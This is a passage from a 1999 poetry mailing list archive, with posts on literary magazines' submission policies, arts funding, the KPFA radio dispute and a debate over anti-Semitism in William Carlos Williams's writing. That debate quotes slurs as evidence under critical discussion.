I look at it as a matter of survival and pragmatics; the editor does the artistic direction. In order to gain resources and maintain them, I admit I do see this as a business and make decisions based on principles like "inefficiency" "strain on resources" and what not. So if a submission, or anything else is obviously going to use up the time of myself, the editor, and/or the volunteers without a possibility of fruition or a high likelihood of difficulty that outweighs the results, I make the decision to reject it. The simultaneous submission policy, as the policy of original, and unpublished work, is clear in our guidelines which can be obtained by mail, email or on our website; they are also listed in several writing market directories, though i have recently discovered that that is with some severe mistakes on occasion. I didn't put TCR into the position of competition, I

think the simultaneous submitter does that, out of a lack of knowledge for what effect it has on the journal and of the monetary structure that the journal exists in.

On a final note, arts in Canada seems to be under a government compensation system: the arts are presumed to not be able to survive in the regular consumer market so the governments (municipal, provincial and federal) devise programs that fund the arts in order to compensate for this fallacy of our economy. The programs are full of hoops, and attempts at judging the value of a project, its longetivity, and audience range, in order to have a rationale to justify funding it. This results in a lot of catch-22s, most obviously that the larger one's audience is, the more worthy of government support it is but the size of audience is determined by the amount of money an organization gets from the private sector, in subscriptions, admissions, etc. Related to this is the constant encouragement to arts groups to become more independent and if they don't make efforts towards financial independence, their funding is reduced or completely cut. So while an arts nonprofit can begin being protected from capitalist imperatives, it hardly remains protected from it (not that I think it should be, entirely), as the ideology of market values seeps over through the grant criteria and adjudication process. I don't know what to do about it.

"Lowther,John" wrote:

> *i'd asked why editors cared about simultaneous submissions*
>
> *Carol Hamshaw wrote back saying (i'm parsing with emphasis);*
>
> *just as we were putting the issue together, someone (...) saw the exact piece in another journal. without having been told by the author (though I hope we would have been when we came to sending out the formal contract) we wasted some time, and very nearly would have wasted a certain amount of money on production. (...) [if] it is a simultaneous submission: I feel there is no sense spending the time to read it if you are from the start possibly **competing with another publication to secure the rights.***
>
> *thanx carol, for all the detail and such - but i still find that i'm not very clear about some things in this - i take it that the capilano review "secures 1st time rights" or something like that ? you don't have permanent rights to it do you ?*
>
> *what strikes me as very strange, relative to how i think about it, is that i can't imagine *why* i wd care that something i'd published or was going to publish had appeared in some other locale or was to do so... - but then to learn that at least part of the problem is also that some editors (i'm extrapolating from you carol) feel that magazines are competing, presumable ~to win~ something, ie, "the rights"*

> *i wonder how many publishers of mags (on this list fer instance) feel this way ? or more specifically - how many after publishing, have "the rights" ? and is it seen as some sort of investment ? - i'm imagining that the hope runs something like this "when X is as famous as john ashbery, and they wanna do a _selected_ i'll get my payback then for this not too profitable publishing"*
>
> *somewhere i'd heard about all this stuff but i had the impression that it only held true for things like parnassus or the paris review - i guess everybody's just doing what they feel the need for - but for all you editors out there i'd like to note : i'm not competing with you and i don't feel, nor can i see how yr competing with me*
>
> *(ok, except maybe the paris review, whose ass i'm gonna wup next time i see it)*

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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184. Michael Boughn
Re: The good doctor on circumcision
Wed 14 Jul 1999

I find it amusing that by indicating a poem and using the word complexity I find myself implicitly accused of being an apologist for anti-Semitism.

It must be nice be so . . . sure.

Mike

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185. Richard Dillon
Re: soapbox of submission
Wed 14 Jul 1999

If a pop song is a hit it is played on a million stations at once. But in the paper based lit biz your songwerke gets one shot in one fanatic mag and that's it.

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186. **Taylor Brady**

Re: URGENT: Staff are being cleared from KPFA station, arrests are being made!]]

Wed 14 Jul 1999

Pierre,

Thanks for passing this along - this morning KPFA is playing only prerecorded broadcasts. Many staff, paid and unpaid, have been barred from the building after yesterday's demonstrations, during which programmer Dennis Bernstein was forcibly removed from the control booth by private security goons hired by Pacifica executive director Lynn Chadwick, and 52 protesters were arrested. It's unclear to me right now whether Bernstein has been fired, thus joining Larry Bensky and Robbie Osman, both of whom were dismissed for violating an inconsistent and rarely-invoked "internal gag rule" when they reported on-air about Chadwick's firing of KPFA general manager Nicole Sawaya. As further evidence of the national foundation's bad faith, their lawyers are moving ahead in pressing charges against protesters arrested in an earlier non-violent demonstration, some of whom were subjected to citizen's arrests by Ms. Chadwick herself after the Berkeley cops sought to resolve the situation without taking people into custody. Apparently the forcible application of state power couldn't come fast enough for the executive director of an organization with its roots in opposition to that very power, and whose nationally-syndicated news program, Democracy Now, bills itself as "the exception to the rulers."

All of these moves are rooted in the Foundation's efforts to "restructure" KPFA in order to maximize what Chadwick and Pacifica board chair Mary Francis Berry have been calling, in a fairly odious rhetorical sleight-of-hand, "diversity." Of course, this means nothing more than market share, as is made amply evident by the "Plan B" option discussed in the e-mail attachment you sent. For listees outside the Bay Area (and the WBAI and KPFK broadcast areas in NYC and LA), today's article in the SF Bay Guardian might be useful as a pointer to more info: "KPFA's local advisory board - along with the boards of sister stations KPFK, in Los Angeles, and WBAI, in New York - has filed suit against Pacifica, charging that the foundation's new governance structure violates California's corporation law (see "Pacifica Power Grab," 2/17/99). For more information, go to www.savepacifica.net"

Sorry to take so much bandwidth for a non-poetry issue, but it felt particularly resonant in light of the past few days' postings on poetic/public "space." I.e., that here is a public space of both the architectural and "productive" (thanks, Juliana) variety - and really, in terms of radio, one of only a small handful left, given that the "other" public radio, NPR, is now a wholly-owned subsidiary of

Archer Daniels Midland. Not to mention that KPFA is probably the only station that ever would have given Jack Spicer a radio show...

Best,
Taylor
-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Pierre Joris
Sent: Wednesday, July 14, 1999 4:50 AM
To: [redacted]
Subject: URGENT: Staff are being cleared from KPFA station, arrests are being made!]]

<< Message: nsmailLB.TMP (5.56 KB) >> thot this would interest list members -- Pierre

-------- Original Message --------
Subject: [Fwd: URGENT: Staff are being cleared from KPFA station, arrests are being made!]
Date: Wed, 14 Jul 1999 06:24:24 +0100
From: John Whiting <[redacted]>
Reply-To: John Whiting <[redacted]>
Organization: Diatribal Press
To: John Whiting <[redacted]>

Even as I write my review of Matthew Lasar's _Pacifica Radio_, it threatens to become an obituary. When a self-perpetuating group of people sit in absolute control of a large amount of money, they want to play with it.

John

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187. Maria Damon
Re: Williams Tombstone Sweepers etc.
Wed 14 Jul 1999

---

nice post, stephen. i remember when the very Jewish Tom Lehrer's song "National Brotherhood Week" played on the air, and the line "Everybody hates the Jews," was roundly criticized by Jews and non-Jews for being anti-Semitic, while i think, in fact, every Jew also recognized its ironic "so what else is new" shrug --but didn't necessarily want that sense of irony aired to the non-Jewish world for fear that it would be read straight and thus possibly fan flames of anti-Semitism. It's like the risk a Jew takes when telling a "Jewish joke" (*not* an anti-Semitic joke) in front of non-Jewish friends who may then go tell it in a

context (for instance, in a setting where there are no Jews) that makes it far more volatile.

At 12:14 PM -0400 7/13/99, Stephen Vincent wrote:
>Kent Johnson's righteousness - or at least that tone - about nailing WCW to
>an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not sure
>if Johnson's trying to throw the Doctor out with the bath water, but I always
>get uncomfortable when anyone (myself included) goes to the Holy ground with
>an implicit claim of purity - what ever might be the issue. I would go as far
>to say that my opposition to anti-Semitic, anti-Palestinian, racist,
>homophobic or any other abusive behavior involves a personal acknowledgment
>and desire to exorcise some part of my person that has inherited or learned
>those behaviors (via ample examples whether in the language or acted out on
>the street). I suspect there will always be that tension and fight in the
>culture, at least my experience of it.
> But going back to Williams, is it possible to view his double-dipping
>into offensive, particularly anti-Semitic language in the context of his half
>or part Jewishness? In fact, in the same breath, has any critic delved into
>this internal pluralism as one of the ways of looking into at least part of
>William's interest and willingness to take on American culture as a
>pluralistic condition. (Whereas Eliot and Pound, in the face of the European
>migrations of the turn of the century, clearly took the xenophobic route out
>of the country.) WCW is one of a number of great writers in this century who
>are half or part Jewish. In the context of the evidence and questions
>surrounding his anti-Semitic quotes, I think of Proust who, on one hand, was
>one of the public leaders in the fight to free Dreyfus and, on the other,
>Remembrance of Things Past has a strong share of anti-Semitic caricatures. I
>suspect these internal battles are part of the condition of being a blend of
>different cultures.
>
>Not being Jewish, I, nevertheless, do have a sense that the issues raised by
>those who are half-Jewish (in relationship to Jews and non-Jews) is bubbling
>as something not spoken or addressed, perhaps ignored by some as a painful
>taboo, or somehow an embarrassment to acknowledge. As to why, I cannot speak.
>These are issues, of course, that can be raised about the work of any writer
>who comes out of a biological blend of any historically oppositional groups
>(and perhaps classes). I suspect for many who carry such blends, it's both a
>gift and a curse - leading to these curious quandaries of point of view that
>come up in Williams and others. These blends and the particular consequent

>larger social overview, however, clearly lead to some great writing.
>
>Cheers,
>Stephen Vincent
>

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188. **joan houlihan**
Schizophrenic Chickens
Wed 14 Jul 1999

Greetings--

I am new to the list and following this thread with interest. This latest mail makes absolutely clear, for those who doubted it, that WCW was most certainly anti-semitic. Whether his form of it was as "robust" as that of Pound or Eliot, seems to me to be a kind of unhelpful hair-splitting--certainly, it was less "robust" than Pound's if you consider robust to mean having some real-world impact outside of a small circle of friends and associates. But what is the point, aside from historical or biographical interest, in this fact about WCW (or any of the others)? Does anyone really believe that there's more than biographical information at stake here; i.e. that the work is somehow "contaminated"? When Pound was denied, by a close vote, the Bollingen (or was it Nobel? Can't recall) Prize for Literature, the vote against him was a vote against his beliefs (his acts of treason, really). Many people felt this was wrong-headed--that the work, not the man, should be judged. I agree. I personally find the idea that the man and work are inseparable to be an absurd idea, and one that leads to all kinds of falsity--the falsity of trivializing the beloved personage's hateful beliefs so that one can remain enamored of the work; the falsity of trivializing reactions to all such hateful beliefs and remarks as "politically correct" so as to remain enamored; the falsity of attributing historical context (everybody did it) to such remarks so as to to remain enmored; and the falsity of presuming that everyone holds such beliefs, but are not as "honest" about expressing them.

Why attempt to "save" the work from the man? Can't we assume the man is always merely the man, the mud instrument for the work? In fact, if anything can ever save the man, it is the work.

All that being said, I also recognize that many good and senstitive people can no longer enjoy the work once the source is found to be contaminated. However, this fact should not lead us into the error of denial.

Yes, those were schizophrenic chickens--or maybe just "compartmentalized" ones.

Cheers,

Joan Houlihan, Poetry Editor (New)
Editor's Picks, Web Del Sol

http://webdelsol.com/Editor's_Picks/

> *From: KENT JOHNSON <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: (Fwd) WCW [from E. Weinberger]*
> *Date: Tue, 13 Jul 1999 17:18:51 -0500*
>
> *The following is from Eliot Weinberger,who has written on Williams's anti-Semitism in _Works on Paper_ (New Directions).*
> *Kent*
>
> *------- Forwarded Message Follows -------*
> *Date: Tue, 13 Jul 1999 18:09:19 -0400*
> *To: [redacted]*
> *From: Eliot Weinberger <[redacted]>*
> *Subject: WCW*
>
> *Dear Kent--*
>
> *Thanks for forwarding me the various letters on WCW, anti-Semitism, and the Bomb. A few notes:*
>
> *1) WCW is notoriously resistant to all attempts to summarize his thoughts or opinions. Nevertheless, his writings are strewn with anti-Semitic remarks: The short story that begins: "He was one of those fresh Jewish types you want to kill at sight, the presuming poor whose looks change the minute cash is mentioned." Or the essay "Against the Weather" that claims that Judaism is a "tribal-religious cult" that is "precisely the equivalent" of Fascism. (Written in 1939!) "Some fucking bastard of a yid." "Horrible overfed Jewish types." And so on. All of which must be taken in the context that one of WCW's grandparents was a Jew.*
>
> *2) "Some of his best friends..." Well, ok. So were Pound's. (But not Eliot-- the worst of the bunch because he was a snob.) Consider this extreme case: Simultaneous to his promotion of the terrorist-segregationist Kasper, Pound was having a warm correspondence with Langston Hughes. (They had first become friends when Ez contributed to a fund-raiser for the Scottsboro Boys!) Along with Jewish friends and African American lovers, WCW was also collaborating with the bizarre Chinese White Supremacist David Rafael Wang.*
>
> *3) WCW's so-called Puerto-Ricanness has been explored, not so convincingly, in a book by Julio Marzan called *The Spanish American Roots of WCW*. It is*

> *rather like Alexandre Dumas' Negritude. WCW was not trying to "pass," as someone said: he came from the age of the melting pot, and his were very white (Spanish) Puetro Rican roots.*
>
> *4) The assertion that the Polish mothers were Jewish is really a stretch. Polish Jews are "Polish Jews" or "Jews." The default setting for "Pole" is Polish Catholic, just as it is white for "American."*
>
> *5) Hiroshima. When I first published the WCW letter-- in my essay on Yasusada, as an example of the unreliability of poets as "witnesses"-- it struck me as a bizarre take on the explosion of the Bomb the day before. Since then I've come across an enigmatic poem by Lorine Niedecker, written a few months later, and I now wonder whether the identification of the Bomb as a specifically Jewish artifact was not more general:*
>
> *New!*
> *Reason explodes. Atomic split*
> *shows one element*
> *Jew*
>
> *Now hide*
> *who can bombarded particles*
> *of international*
> *pride*
>
> *6) It seems to me undeniable that it is very difficult to think of a major American modernist who was not 1) black or Jewish AND 2) not racist or anti-Semitic. Hatred is an absolutely intrinsic part of American modernism, and as the heirs of that legacy we have to work it out.*
>
> *all best--*
>
> *Eliot*

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189. **Judy Schwartz**
Re: COPE'S OPPEN---
Wed 14 Jul 1999

On Mon, 12 Jul 1999, Chris Stroffolino wrote:

> *Congrats on Stephen Cope for his work on Oppen recently published in THE GERM. It is a quite interesting piece. I don't agree with ALL of it, but it is fascinating and worth reading (especially for those of us who've never been especially great fans of his poetry).....*

How does one get a copy of THE GERM? (from someone who IS a great fan of OPpen's poetry) --Judy S.

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190. Tisa Bryant
Contact Info for Tan Lin
Wed 14 Jul 1999

Hello, all!

Does anyone have contact information for Tan Lin?
E-mail or street address would be particularly good, phone fine too.

Thanks in advance!

Tisa

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191. Tony Green
Re: partly Jewish writers
Wed 14 Jul 1999

Curious antecedent to Stephen Vincent's writers of partly Jewish descent is Michel de Montaigne, born 1533 C.E., *son of Pierre Eyquem ... & his wife Antoinette de Louppes, the wealthy descendant of a Spanish or Portuguese Jewish family...* quoting J.M.Cohen's introduction to his Penguin Classics trans of Montaigne essays. Just what this has to do with the Essays if anything is unclear.

There may well be much more to say about Proust, who could hardly avoid being aware of his part-Jewish identity during the Dreyfus affair. Maybe it would have been more obvious explicit or troubling an issue for Montaigne if he had lived in closer contact with the Inquisition in Spain, instead of in France.

But 19th/20th century senses of national & racial identities may have been a more prominent insistent & troubling context than that of the 16th century in France for the issue to be an issue of concern?

Tony Green

-----Original Message-----
From: Stephen Vincent <[redacted]>

To: [redacted] <[redacted]>
Date: Thursday, 15 July 1999 02:59
Subject: Re: Williams Tombstone Sweepers etc.

>Kent Johnson's righteousness - or at least that tone - about nailing WCW to
>an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not sure
>if Johnson's trying to throw the Doctor out with the bath water, but I always
>get uncomfortable when anyone (myself included) goes to the Holy ground with
>an implicit claim of purity - what ever might be the issue. I would go as far
>to say that my opposition to anti-Semitic, anti-Palestinian, racist,
>homophobic or any other abusive behavior involves a personal acknowledgment
>and desire to exorcise some part of my person that has inherited or learned
>those behaviors (via ample examples whether in the language or acted out on
>the street). I suspect there will always be that tension and fight in the
>culture, at least my experience of it.
> But going back to Williams, is it possible to view his double-dipping
>into offensive, particularly anti-Semitic language in the context of his half
>or part Jewishness? In fact, in the same breath, has any critic delved into
>this internal pluralism as one of the ways of looking into at least part of
>William's interest and willingness to take on American culture as a
>pluralistic condition. (Whereas Eliot and Pound, in the face of the European
>migrations of the turn of the century, clearly took the xenophobic route out
>of the country.) WCW is one of a number of great writers in this century who
>are half or part Jewish. In the context of the evidence and questions
>surrounding his anti-Semitic quotes, I think of Proust who, on one hand, was
>one of the public leaders in the fight to free Dreyfus and, on the other,
>Remembrance of Things Past has a strong share of anti-Semitic caricatures. I
>suspect these internal battles are part of the condition of being a blend of
>different cultures.

>
>Not being Jewish, I, nevertheless, do have a sense that the issues raised
by
>those who are half-Jewish (in relationship to Jews and non-Jews) is
bubbling
>as something not spoken or addressed, perhaps ignored by some as a painful
>taboo, or somehow an embarrassment to acknowledge. As to why, I cannot
speak.
>These are issues, of course, that can be raised about the work of any
writer
>who comes out of a biological blend of any historically oppositional groups
>(and perhaps classes). I suspect for many who carry such blends, it's both
a
>gift and a curse - leading to these curious quandaries of point of view
that
>come up in Williams and others. These blends and the particular consequent
>larger social overview, however, clearly lead to some great writing.
>
>Cheers,
>Stephen Vincent
>
>Kent Johnson wrote:
>
>>>Michael:
>
>More later, but for now just to point out that this quote from
>Mariani is rather pathetic as a "defense." Pound had strong
>relationships with Jewish writers too. One can be subject to "the
>popular racial myths of his time" and still have lots of
>chummy relationships with the subaltern other! (Remember Yugoslavia?)
>
>And as for those "comic-strip vulgarisms" (the Jewish kids in
>Brooklyn ate those comics right up, didn't they?) that suffuse WCW's
>letters, does Mariani imply that _everyone_ was using them? Of course
>WCW was a "product of his time" as are we all, and of course he's a
>"complex" figure. But choices can still be made, and one is not
>condemned (especially one whose self-proclaimed task is to cleanse
>the language!) to topple headlong into the most hateful vocabulary.
>Mariani's little quote is quite simply apologetic slop of the
>hero-worshipping kind.
>
>And as for your reading of the "irony" in Williams's remark about the

>Jews and the Bomb, I doubt it. "Kike" pops up like dandelions in
>May in his letters and little irony is apparent. Be careful here.
>It's one thing to misread comments about ready-made classroom phrases
>that Language poets use; this is something of a more serious kind.
>
>Kent>>
>

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192. **Hamish John Dewe**

Re: Under New Management: NZ's new writing

Wed 14 Jul 1999

While I am always excited to see ABDOTWW, there is another publisher of experimental poetry in New Zealand, even in Auckland too: Salt. Their focus seems to be online publishing at the moment, while there is also a print version. Catch Salt at http://homepages.ihug.co.nz/~mbellard/index.htm which is currently under construction.

Hamish Dewe
(_ex_-ed. Salt)

> *Some of you may be aware that Alan Loney, a fine poet and editor, has recently relinquished the editing of A BRIEF DESCRIPTION OF THE WHOLE WORLD, a magazine of experiemental writing in New Zealand.*
>
> *It continues as the only magazine in NZ supporting and supported by experimental writers. The June issue now available, ABDOTWW/12, comprises a reissue of Leigh Davis's long poem book, WILLY'S GAZETTE, which first appeared in 1983. The magazine is proud to be involved in the reissue of this landmark book.*
>
> *John Geraets*
> *Editor--ABDOTWW*
> [redacted]
> *11-20 Poynton Tce*
> *Auckland 1001, NZ.*

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193. **Patrick F. Durgin**
Re: Submission Crucible
Wed 14 Jul 1999

Brian Lennon wrote: " . . .implicitly links the rejection of work to the failure to subscribe,
which I think is a mistake."

I write: then let's be explicit. The number of subscribers necessary to keep an independent journal alive (even as supplementary to other resources, out-of-pocket most likely) does not nearly amount to the number of submitters necessary to keep an independent journal alive.

Patrick F. Durgin

At 12:46 PM 7/13/99 -0400, Brian Lennon wrote:
>---two more cents' worth:
>
>When subscription invitations are included with rejection slips, they
>inevitably end up being sent to submitters who have already subscribed to the
>publication. For a submitter, this is just as impersonal and irritating as it
>is for an editor to receive submissions from writers who clearly haven't
>looked
>at the magazine. Surely every member of a magazine's staff ought to know the
>subscriber list by heart, right???
>
>It also implicitly links the rejection of work to the failure to subscribe,
>which I think is a mistake. In my two years at The Iowa Review, the best
>work I
>saw almost always came in cold--- often multiply submitted, from names I
>didn't
>know, and generally unconcerned with whether it was like anything we'd ever
>published before. The result is that every issue changed our own idea of
"what
>we publish."
>
>Finding enough money to keep going is a huge problem, yes. But the problems
>really start when you begin to feel guilty rejecting subscribers/supporters.
>
>Brian Lennon
>
>rebecca wolff wrote:
><snip>
>>Mr. Waber proposes that rejection letters ought to be accompanied by a

>>subscription form or some similar form of encouragement. I think this is a
>>great idea, and in fact had meant to do just that when starting Fence, but
>>was voted down by the rest of the Fence people on grounds of "adding insult
>>to injury," "rubbing salt in the wound," etc. What do y'all think about
>>this? Would you feel insulted, salted, annoyed, demeaned or otherwise
>>antagonized by such an enclosure?
>>
>>I'd really like to know. Because we'd really like to have more subscribers.
>>
>
>

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194. **Lynn Miller**

Re: Help with Outreach

Wed 14 Jul 1999

On the subject of BLUESTOCKING Books, a few words as to the contribution that might be made to the art/political culture of lower Manhattan by the books that need to be written there as well as sold, the people writing them and selling them, and the classes that must be organized.

As for the books on the shelves, one might search among them for titles having also to deal on a day-to-day TimePoint with such urgent issues of the moment as the planned August 21 March of the Klan in Cleveland (see 7/13 Plain Dealer), on-going defense of Abortion Clinics, lesbian and gay rights to Privacy of the Bedroom and freedom from Surveillance, in addition to a good many rare volumes by such leaders of the Russian and Cuban revolutions as Inessa Armand and the Argentinian photographer, Tania.

This is only a fragmentary list, but one which I think points to why support of what a BlueStocking Bookstore could do and the importance it could have in a major city like New York. Many of the titles made available at this kind of store are simply not available in commercial and academic venues, and given the generally accepted perception that independent bookstores promoting Free Thinking are being pressed out of existence, it is also important to encourage

writers to commit themselves to making available to as large a public as possible all popular philosophies and programs for social action.

Ideas are worthless unless they're made real. BlueStocking Books has the potential to become a social center, like the New Workers' Center in Juarez, staffed by volunteers committed to getting out the news concerning the widening resistance to any and every effort to take away such basic democratic rights as Freedom of Assembly, Freedom of Speech, and Freedom of Thought and Expression.

Please give your every consideration to building a space big enough to meet the needs of BlueStocking Books.

THERE MUST BE PROFOUND CHANGE.
--Tishie Ann

"A sad little girl mastered kick ball
Roller Derby Style"

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195. Jim Rosenberg
*wr-eye-tings is *DOWN* -- help needed*
Thu 15 Jul 1999

Many of you on this list also subscribe to the wr-eye-tings list. That list is now completely off the air. Attempts to post produce bounces -- no such user. The list host, Carl Lynden Peters, reports there was a crash and he can no longer host the list. This is a real loss! Surely a server can be found to host this list. This is a call for ideas on how to get wr-eye-tings back on the air. Say it ain't so!!

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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196. George Bowering
Re: Name That Quote
Thu 15 Jul 1999

> *In "My Darling Clementine," Alan Mowbray (who's playing Thorndike, the drunken Tragedian) says farewell to Francis Ford (who's playing Dad, the old porter and Thorndike's drinking buddy and keeper) and recites some lines that begin "Great souls" and then there's "allegiance" in the middle and it*

> *ends with "burn." If anybody recognizes this quote, please let me know.*
> *Pete*

Am I getting my memories mixed up? Wasnt "My Darling Clementine" about the gunfight at the OK Corral, with Henry Fonda?

George Bowering.

,

fax: [redacted]

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197. Brian Stefans
Williams
Thu 15 Jul 1999

Hi Folks,

I have a lot of vague thoughts on this matter, being both of mixed ethnic origin and from Rutherford, NJ (as I never tire of telling people, WCW's son was my doctor when I was a lad, and in high school I would occasionally feign illness as a pretext for intelligence missions). I don't remember reading about his collaboration with a Chinese white supremecist, nor have I read the letters that speak of circumcision, which are no doubt pretty ridiculous and stupid, though it is worth remembering that, of all the "major modernists", Williams was (to me) the most seriously compromised by his lack of "sweetness and light" in Arnold's phrase -- i.e. despite his education in Switzerland (I think), at Horace Mann and in Pennsylvania, he was pretty lacking in the "humanities" but often, to his credit, seemed to go out of his way not to be cosmopolitan in the way of Pound. He at least felt bad enough about his suburban disposition to downplay his own role as an unacknowledged legislator -- i.e. he classed himself as a "dog among dogs." In any case, here are a few rambling questions regarding this subject (no answers):

1. if he never created a "positive" image of a civilization or culture that didn't include Jews, in the sense of a new Italy or Europe, could he be classed with the anti-semitism of Eliot or Pound, who wrote extensive tracts on the subject? 2. to say that Williams, like Pound, had "Jewish friends" hence he was not anti-Semitic is, yes, a bit weak (an older saw than the ginzu), but what were the value systems of these Jewish artists that Williams supported, values that he knew and recognized -- such as in Ginsberg's Howl -- and how did they run counter to a classically contoured, Euro-centric, authoritarian -- in any case "passeist" -- image that Pound and Eliot threw up against the miscegenation that would be the inevitable result of liberal capitalism? I somehow think that Zukofsky's leftism was modified for Pound by his choice, in the famous "Mantis"

sestina for example, to utilize very old forms, or the "luminous detail", method in putting forth his image of civilization -- indeed, LZ seemed to believe that "civilization" had its glories that were worth preserving, in opposition to say the pessimism of much continental writing. (LZ was also a faultless highbrow.) But what could be similarly modified in the writing of Ginsberg -- didn't you more or less have to take the whole range of values or leave them? 3. could Williams, who took pains, I tend to think, to differentiate from a Puritan, self-policing sensibility -- hence his attraction to Ginsberg -- be put under the same microscope as a Pound or Eliot? That is, even if he had a better side to him that recognized anti-Semitism, especially in 1939, as something one does not want to humor as a political disposition, isn't it possible that he also rejecting this self-negotiation in favor of the "potency" of language -- after all, this is the guy that sprinkled exclamation points in poems about flowers. He kind of liked to curse; the Calibanic strain was quite strong with him (to echo Obi Wan). 4. on the note of racial slurs and things, I noted in my Philly Talk much to the chagrin of the audience that there was a way that my Asian friends and myself used to pick on each other in high school that was, for me, therapeutic, involving those very ethnic slurs that we were often only on the receiving end of. Which isn't to say we became racist, since we just used to pick on each other to sort of poke at the wound. A little later in life, this has grown, for me, into an identification with Korea and the Korean people in a sort of direct but failing way, such that I often, to myself, refer to Koreans as "my people" and Korea as "my country" or whatever, and so when I hear of a North Korean submarine washing up on the South Korean coast, I think, "what are my pathetic little people doing now"? I've only been there once, and of course I am not "Korean," but then again I excercise a certain freedom possible to "Americans" to be that other at least if it gives me comfort. Obviously this is just an interior play, something about exchangeable identities, and so forth. I also tend to have words like "gook" and "chink" floating around in my consciousness quite often, not in conversation but in private thought, often on the verge of finding their way into print, and sometimes they do get there -- why not? I don't tend to think of this so much as "self-hatred" or hatred for an other, so much as a play on identity, a way of erasure through signature, etc. So in contrast to the interpretation of Williams use of expletives as "ironic," it seems to me a different reading is possible. I.e. Williams had a pretty strong memory of his Jewish grandfather -- isn't pretty inevitable that we would have to read a relationship to this ancestor of his in any terminology that he uses that would seem to class him with the anti-Semites, the oppressive "other"? Whose voice is he using at this moment? 5. what about Williams' relationship to Catholics -- those "Catholic bells"? I don't know the history well enough, but Rutherford now is pretty heavy with Catholics (I was raised a Catholic), but I would guess that it was a phenomenon just in the making in Williams' time. I tend to think

Williams -- who fetishized the word better than any "American" before him -- seemed to fetishize everything from, again, flowers to pototoes (to the "e" in potatoes) to too young girls to ethnic minorities (cf. Mackey's well-known essay on his exclamation-point riddled poem on jazz music). This seems to be where the Polish mothers meet the wheelbarrow, in a specific over-riding ontology -- what is there is not me, etc.

As a last note, I tend to be wary of the granting of letters a confirmation of the potency of the panoptic gaze, which is to say that a consideration of the contexts of letters demonstrate that they hide as much as they seem to "reveal." I'll have to look those letters up, but considering that Williams map of a "civilization" is one that would have to be more often surmised than can be found elaborated linearly -- that he just wasn't a systematic thinker -- his idiotic banter on the sidelines with a guy like Pound -- whose system of thought was pretty ornate but tremendously corrupted by his hatred and prejudices, considering that the system was centered around ideas of beauty and wisdom, such that we would have to believe this hatred quite intense for it to survive, and hence his depression when he finally realized how intense this hatred was (it suggests to me Carlyle's discovering upon the death of his wife that he was quite a cad -- another Puritan sensibility run amock) -- could be taken in many ways, perhaps even as the sort of masculinist sparring that we know of that leads to an agreement in terms that are often less than agreeable. Pound overwhelmed him more often than not.

I have no answers to the above questions in general, just thought to toss them out. I would suspect, I suppose, that Williams would behave differently if he were in Rome in 1939, or that his letters would be somewhat different, but since both his humanism and his anti-semitism were not really challenged by much more than what he read in the papers -- i.e his imperative to decide was not quite as strong as for a European -- then much of this is speculation.

Anyway, I got to get back to work.

Cheers,
Brian

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198. Grant Jenkins
E. Weinberger and snobs
Thu 15 Jul 1999

In response to Weinberger's dismissal of Eliot:

> *2) "Some of his best friends [were Jews]..." Well, ok. So were Pound's.*
> *(But not*
> *Eliot-- the worst of the bunch because he was a snob.)*

In spite of the fact that Weinberger is fond of accusing people of prejudice (he does also with Ed Dorn and AIDS), it turns out that Eliot too had Jewish friends. According to a recent article by Ranen Omer, Eliot had a 40-year correspondence with the famous Jewish-American philosopher, Horace Kallen, coiner of the phrase "cultural pluralism." Found in Kallen's papers in the American Jewish Archives in Cincinnati, these letter are a major find.

I suggest that anyone interested in Eliot or the question of the relation of anti-Semitism with Modernism read this article:

Ranen Omer, "'It Is I Who Have Been Defending a Religion Called Judaism': The T.S. Eliot and Horace M. Kallen Correspondence." Texas Studies in Literature and Language 39.4 (1997): 321-356.

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199. Brian Stefans
PS on Williams
Thu 15 Jul 1999

As a sort of postscipt to my other comments on Williams, I would note that the quotes Eliot Weinberger draws from his stories, while being quite powerfully derogatory, could be seen to consistently fall within the realm of "speaking through the other," i.e. echoings of the local tongue and prejudices, and also within my idea of the fetishized ethnicity. My sense is that Williams didn't belong to any local community in Rutherford in any very easy way -- he felt quite alienated, as we all know -- so a lot of what sounds like "plain speech" in Williams can often be seen as not his own plain speech, until perhaps the Asphodel poem where it seems all him. But that's because we know to whom he is speaking -- i.e. Flossy. But when he writes "He was one of those Jews..." sounding like he's addressing someone, but who is this? (If one imagines that he thought his first or only readers for such stories would be his sophisticated New York literati friends, many of whom were Jewish, how do these lines resonate with them?)

In any case, what would be interesting would be if someone could find the kind of invective that one finds in Pound and Cummings and others, or the kind of detached "objective" tone in Eliot's writing on Christian culture, in Williams -- i.e. something more discursive and outside the realm of pure imagism, something with a sure sense of audience and purpose -- since such a thing would point to a more synthesized world-view in Williams that presently we can't see. I've never quite figured out whom Williams was addressing in Spring and All, for example -- much of which, as I'd written to a friend earlier, would sound like the most vicious "flame" on the internet -- and I think this vagueness

about his audience contributes to the choppy, seemingly incomplete nature of his "career," i.e. the ups and downs of his work.

Also, can I suggest Marianne Moore as a modernist not motivated by hate or exhibited anti-semitism? I'll probably find this wasn't the case.

Brian

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200. Poetics List
(no subject)
Thu 15 Jul 1999

Dear CHris,

What happened to the "you're welcome to join" letter. I can't find it.

m

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201. Chris Nagler
Reminder: The Barn (a play), tonite and tomorrow
Thu 15 Jul 1999

To anyone who will be in the SF bay area tonight
July 15th or tomorrow night, the 16th
my play/performance piece 'The Barn' is being performed
at 8:00 pm
at 379 40th St. (between telegraph and Broadway)
in north Oakland
Poetics List People get in free.
Running time is about one and a half hours.

chris nagler

"The Barn is a play about a family of voices. The voice,
and the family, as shelters and constraints. Domestic
tasks as the physical equivalents of fantasies -- the
impossibility of containing either within pastoral romance,
but the constant desire for this. It is a play about the possibility
of being far away from the landscape, and the voice."

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202. A H Bramhall
When The Invitation Arrives
Thu 15 Jul 1999

